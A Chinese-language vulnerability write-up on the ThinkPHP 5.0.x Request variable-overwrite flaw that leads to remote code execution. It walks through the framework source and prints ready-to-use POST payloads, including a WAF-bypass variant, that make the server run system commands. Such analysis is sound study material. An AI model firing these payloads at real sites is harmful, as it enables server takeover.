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Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞。
介绍
Thinkphp框架官方提供核心版和完整版两种:
核心版因默认缺少利用链,需要开启Debug模式,才能造成远程代码执行。
完整版因自动加载组件,不需要开启Debug模式,直接造成远程代码执行。
本文将对thinkphp5.0.23核心版和thinkphp5.0.22完整版进行分析
安全脉搏:https://www.secpulse.com/archives/95191.html
5.0.23核心版分析
变量覆盖
tp5/thinkphp/library/think/Request.php:518
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
在没有设置$this->method的时候,可以直接通过POST包含Config::get('var_method')配置参数的键值对进行赋值,在配置文件中为_method。
tp5/thinkphp/convention.php:102
接着就是$this->{$this->method}($_POST),这里可以根据post请求中的键值动态的调用任意的类成员方法,并且参数为$_POST,尝试动态调用Request类的__construct方法。
tp5/thinkphp/library/think/Request.php:135
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
参数为$_POST,遍历POST中包含的参数的键名,如果类中包含对应键名的成员就进行赋值,这里就存在Request类成员变量覆盖。
Payload触发流程
整体流程主要分两部分,第一次$request->method()完成类成员变量的覆盖,第二次$request->param()包含$this->method(true)调用call_user_func完成代码执行。
Post-Data:
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls
入口点:
tp5/thinkphp/library/think/App.php:115
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
进入App::routeCheck函数
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
进入App::check函数
public static function check($request, $url, $depr = '/', $checkDomain = false){
//检查解析缓存
if (!App::$debug && Config::get('route_check_cache')) {
$key = self::getCheckCacheKey($request);
if (Cache::has($key)) {
list($rule, $route, $pathinfo, $option, $matches) = Cache::get($key);
return self::parseRule($rule, $route, $pathinfo, $option, $matches, true);
}
}
// 分隔符替换 确保路由定义使用统一的分隔符
$url = str_replace($depr, '|', $url);
if (isset(self::$rules['alias'][$url]) || isset(self::$rules['alias'][strstr($url, '|', true)])) {
// 检测路由别名
$result = self::checkRouteAlias($request, $url, $depr);
if (false !== $result) {
return $result;
}
}
$method = strtolower($request->method());
......
}
App::check函数中调用了上面提到的$request->method(),调用__construct函数,使用Post-Data键对值对类成员进行变量覆盖,并分别修改$this->server和$this->filter为数组。
函数栈调用完毕后,入口点继续执行,开启Debug模式后将会执行第三个Log::record函数
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
进入$request->param()
tp5/thinkphp/library/think/Request.php:634
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
......
}
程序开头再一次调用了method函数,但是这次传递参数true,函数返回值为$this->server('REQUEST_METHOD'),调用server函数。
tp5/thinkphp/library/think/Request.php:862
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
传入参数为字符串REQUEST_METHOD,进入input函数。
tp5/thinkphp/library/think/Request.php:999
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
} else {
$type = 's';
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
} else {
// 无输入数据,返回默认值
return $default;
}
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
循环判断获取$data,通过getFilter函数获取$filter,最后传入filterValue函数。
tp5/thinkphp/library/think/Request.php:1082
就在此处完成任意代码执行。
安全脉搏:https://www.secpulse.com/archives/95191.html
5.0.22完整版分析
完整版拥有更丰富的组件,不需要开启DEBUG模式,因此利用链略有不同。
自动加载组件
可以从目录上看出,完整版组件较多。
Thinkphp拥有注册自动加载的功能,初始化时会加载引入其他组件,追踪此功能流程。
入口处:
tp5022/thinkphp/base.php:59
register函数 :
tp5022/thinkphp/library/think/Loader.php:282
public static function register($autoload = null)
{
// 注册系统自动加载
spl_autoload_register($autoload ?: 'think\\Loader::autoload', true, true);
// Composer 自动加载支持
if (is_dir(VENDOR_PATH . 'composer')) {
if (PHP_VERSION_ID >= 50600 && is_file(VENDOR_PATH . 'composer' . DS . 'autoload_static.php')) {
require VENDOR_PATH . 'composer' . DS . 'autoload_static.php';
$declaredClass = get_declared_classes();
$composerClass = array_pop($declaredClass);
foreach (['prefixLengthsPsr4', 'prefixDirsPsr4', 'fallbackDirsPsr4', 'prefixesPsr0', 'fallbackDirsPsr0', 'classMap', 'files'] as $attr) {
if (property_exists($composerClass, $attr)) {
self::${$attr} = $composerClass::${$attr};
}
}
} else {
self::registerComposerLoader();
}
}
// 注册命名空间定义
self::addNamespace([
'think' => LIB_PATH . 'think' . DS,
'behavior' => LIB_PATH . 'behavior' . DS,
'traits' => LIB_PATH . 'traits' . DS,
]);
// 加载类库映射文件
if (is_file(RUNTIME_PATH . 'classmap' . EXT)) {
self::addClassMap(__include_file(RUNTIME_PATH . 'classmap' . EXT));
}
self::loadComposerAutoloadFiles();
loadComposerAutoloadFiles函数 :
tp5022/thinkphp/library/think/Loader.php:357
__require_file函数:
tp5022/thinkphp/library/think/Loader.php:674
整个函数栈调用如下:安全脉搏:https://www.secpulse.com/archives/95191.html
然后直接包含组件文件,组件文件中注册了GET路由:
tp5022/vendor/topthink/think-captcha/src/helper.php:12
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
Route::get函数:
tp5022/thinkphp/library/think/Route.php:510
public static function get($rule, $route = '', $option = [], $pattern = [])
{
self::rule($rule, $route, 'GET', $option, $pattern);
}
Route::rule函数:
tp5022/thinkphp/library/think/Route.php:232
public static function rule($rule, $route = '', $type = '*', $option = [], $pattern = [])
{
$group = self::getGroup('name');
if (!is_null($group)) {
// 路由分组
$option = array_merge(self::getGroup('option'), $option);
$pattern = array_merge(self::getGroup('pattern'), $pattern);
}
$type = strtolower($type);
if (strpos($type, '|')) {
$option['method'] = $type;
$type = '*';
}
if (is_array($rule) && empty($route)) {
foreach ($rule as $key => $val) {
if (is_numeric($key)) {
$key = array_shift($val);
}
if (is_array($val)) {
$route = $val[0];
$option1 = array_merge($option, $val[1]);
$pattern1 = array_merge($pattern, isset($val[2]) ? $val[2] : []);
} else {
$option1 = null;
$pattern1 = null;
$route = $val;
}
self::setRule($key, $route, $type, !is_null($option1) ? $option1 : $option, !is_null($pattern1) ? $pattern1 : $pattern, $group);
}
} else {
self::setRule($rule, $route, $type, $option, $pattern, $group);
}
}
Route::setRule函数:
tp5022/thinkphp/library/think/Route.php:281
protected static function setRule($rule, $route, $type = '*', $option = [], $pattern = [], $group = '')
{
......
if ($group) {
if ('*' != $type) {
$option['method'] = $type;
}
if (self::$domain) {
self::$rules['domain'][self::$domain]['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
} else {
self::$rules['*'][$group]['rule'][] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
}
} else {
if ('*' != $type && isset(self::$rules['*'][$rule])) {
unset(self::$rules['*'][$rule]);
}
if (self::$domain) {
self::$rules['domain'][self::$domain][$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
} else {
self::$rules[$type][$rule] = ['rule' => $rule, 'route' => $route, 'var' => $vars, 'option' => $option, 'pattern' => $pattern];
}
......
}
}
在最后一个else分支中对Route::$rules进行赋值,表示完成GET路由的注册,此时函数栈:
安全脉搏:https://www.secpulse.com/archives/95191.html
无需DEBUG利用链
Debug模式没开启的,则无法进度对应的Log::record函数,需要寻找新的调用$request->param()的利用链。
App::exec函数中的method开关是一个不错的选择,调用了Request::instance()->param()。
tp5022/thinkphp/library/think/App.php:139
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
// 监听 app_begin
Hook::listen('app_begin', $dispatch);
// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
$data = self::exec($dispatch, $config);
exec函数:
tp5022/thinkphp/library/think/App.php:445
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
exec函数接受两个参数,要进入method开关,需要传入exec函数的$dispatch调度信息可控,也就是App::routeCheck函数的返回值可控。
Post-Data,相比核心版增加一些参数:
POST /tp5022/public/?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
入口:tp5022/thinkphp/library/think/App.php:115
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
App::routeCheck函数:tp5022/thinkphp/library/think/App.php:617
public static function routeCheck($request, array $config)
{
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
// 路由检测
$check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
if ($check) {
// 开启路由
if (is_file(RUNTIME_PATH . 'route.php')) {
// 读取路由缓存
$rules = include RUNTIME_PATH . 'route.php';
is_array($rules) && Route::rules($rules);
} else {
$files = $config['route_config_file'];
foreach ($files as $file) {
if (is_file(CONF_PATH . $file . CONF_EXT)) {
// 导入路由配置
$rules = include CONF_PATH . $file . CONF_EXT;
is_array($rules) && Route::import($rules);
}
}
}
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
......
return $result;
}
$request->path()根据配置文件获取请求中的参数s得到$path的值为captcha,然后传入Route::check函数,返回值就是调度结果。
tp5022/thinkphp/library/think/Route.php:836
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
......
$method = strtolower($request->method());
// 获取当前请求类型的路由规则
$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
......
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
return false;
}
和核心版一样,使用$request->method()进行了类成员变量覆盖,不过POST数据中相比核心版多了method=get,就导致$this->method本身也被覆盖并且作为方法返回值,此时可控,也就是说$method此时为get。
接着到Route::$rules中获取get类型的路由规则存入$rules,这个路由规则就是vendor/topthink/think-captcha/src/helper.php中注册的get路由规则,。
Route::checkRoute 路由检查:
tp5022/thinkphp/library/think/Route.php:908
private static function checkRule($rule, $route, $url, $pattern, $option, $depr)
{
......
if (false !== $match = self::match($url, $rule, $pattern)) {
// 匹配到路由规则
return self::parseRule($rule, $route, $url, $option, $match);
}
}
return false;
}
Route::match函数会检测URL和规则路由是否匹配,因此需要设置s=captcha。
Route::parseRule路由检查:
tp5022/thinkphp/library/think/Route.php:1390
private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false)
{
$request = Request::instance();
......
if ($route instanceof \Closure) {
// 执行闭包
$result = ['type' => 'function', 'function' => $route];
} elseif (0 === strpos($route, '/') || strpos($route, '://')) {
// 路由到重定向地址
$result = ['type' => 'redirect', 'url' => $route, 'status' => isset($option['status']) ? $option['status'] : 301];
} elseif (false !== strpos($route, '\\')) {
// 路由到方法
list($path, $var) = self::parseUrlPath($route);
$route = str_replace('/', '@', implode('/', $path));
$method = strpos($route, '@') ? explode('@', $route) : $route;
$result = ['type' => 'method', 'method' => $method, 'var' => $var];
......
return $result;
}
在elseif (false !== strpos($route, '\\'))中设置好$result,然后一层层返回,就是我们最上层的$dispatch
函数栈如下:
以上操作完成变量覆盖,$dispatch值的操纵,最后exec函数中进入method开关调用Request::instance()->param(),完成代码执行。
安全脉搏:https://www.secpulse.com/archives/95191.html
攻击链变形
在exec函数中,进入method开关并调用Request::instance()->param()后,除了上文讲述的利用$this->method(true)进行代码执行以外,还可以使用一个变形的攻击链(此处感谢八里送屌的指点,哈哈哈),适用版本更多,绕过一些waf。
Post-Data:
POST /tp5022/public/?s=captcha HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls
tp5022/thinkphp/library/think/Request.php:634
public function param($name = '', $default = null, $filter = '')
{
......
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
使用array_merge对三个变量进行合并,其中一个为例,进入get方法:
tp5022/thinkphp/library/think/Request.php:689
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}
是对$this->get变量的操作,这个已经在前面通过POST数据变量覆盖,最后get方法返回$this->get。
最后合并后的$this->param的结果为:
然后在返回处传入input函数
return $this->input($this->param, $name, $default, $filter);
tp5022/thinkphp/library/think/Request.php:994
public function input($data = [], $name = '', $default = null, $filter = '')
{
......
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
}
通过array_walk_recursive再调用filterValue,完成代码执行。
安全脉搏:https://www.secpulse.com/archives/95191.html